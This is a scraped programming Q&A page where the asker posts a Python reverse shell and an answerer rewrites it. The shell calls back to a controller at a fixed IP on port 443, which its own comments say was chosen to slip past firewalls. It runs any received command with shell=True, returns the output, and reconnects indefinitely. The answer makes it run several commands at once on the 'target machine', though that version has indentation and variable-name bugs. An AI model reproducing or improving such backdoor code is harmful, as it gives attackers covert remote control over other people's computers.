Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Concurrency with subprocess module. How can I do this?

The code below works but each time you run a program, for example the notepad on target machine, the prompt is stuck until I quit the program.

How to run multiple programs at the same time on target machine? I suppose it can be achieved with either the threads or subprocess modules, but I still can not use the concept.

How can I do this?

import socket
import time
import subprocess #Executar comandos do SO

#criando a conexao reversa

IP = '192.168.1.33' # ip do cliente linux netcat que sera a central de comando
PORT = 443 # usamos a porta de https pra confundir o firewall : a conexao de saida nao sera bloqueada

def connect(IP,PORT):
    #conectando a central de controle 
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # IP/TCP

        s.connect((IP,PORT))
        s.send('[!] Conexao recebida\n')        # msg pra ver se foi conectado
        #s.close()
        return s
    except Exception as e:
        print('Erro de conexao',e )
        return None

def listen(s):
##qdo  o cliente nao esta escutando, da erro na conexao e fecha!. Nao quero isso. O server tem que ficar o tempo todo tentando ate conectar!
## versao 3!!!!!!!!!!
#versao 4 usa while True

##########loop infinito para receber comandos
    try:

        while True:
            data = s.recv(1024) # a central de controle envia tb o "Enter" que teclamos apos cada comando {\n}
            #print(data)
            if data[:-1] == '/exit': #tudo exceto o ultimo caractere, que eh o \n
                s.close()#fechar conexao
                exit(0)  # 0 eh execucao normal/sem erros
            else: #executar os comandos
                cmd(s,data)
    except:
        main(s)

def cmd(s,data):
    try:    
        proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        saida = s.send(proc.stdout.read() + proc.stderr.read())
        s.send(saida)
        #print(proc.stdout.read())    
    except:
        main(s)

def main(s):
    if s:
        s.close()

    while True:
        s_connected = connect(IP,PORT)
        if s_connected:
            listen(s_connected)
        else:
            print("deu erro na conexao, tentando de novo!!!")##so pra debug
            time.sleep(10)

    #return 0 #nao precisa

s = None
main(s)
like image 949
Paul Sigonoso Avatar asked Aug 12 '16 12:08

Paul Sigonoso


1 Answers

Try something like:

import socket
import time
import subprocess
import select

IP = '192.168.1.33'
PORT = 443

def connect(IP,PORT):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        s.connect((IP,PORT))
        s.send('[!] Conexao recebida\n')
    return s
except Exception as e:
    print('Erro de conexao',e )
    return None


def listen(s):
    try:
        # Create a polling object and register socket with it
        socket_poll = select.poll()
        socket_poll.register(s)
        # Create a list of running processes
        processes = []
        while True:
            # If no data is available on the socket, we can use the time to clean up processes which are finished
            if not socket_poll.poll(1):
                for process in tuple(processes):
                    if process.poll():
                        s.send(proc.stdout.read() + proc.stderr.read())
                        processes.remove(process)
                continue
            data = s.recv(1024)
            if data[:-1] == '/exit':
                s.close()
                exit(0)
            else:
                cmd(s, data, processes)
    except:
        main(s)


def cmd(s, data, processes):
    try:    
        proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        # Add new process to the list
        processes.append(proc)
    except:
        main(s)


def main(s):
    if s:
        s.close()

    while True:
        s_connected = connect(IP,PORT)
        if s_connected:
            listen(s_connected)
        else:
            time.sleep(10)

s = None
main(s)

Sorry for removing Spanish comments ;)

like image 121
ElmoVanKielmo Avatar answered Sep 17 '22 18:09

ElmoVanKielmo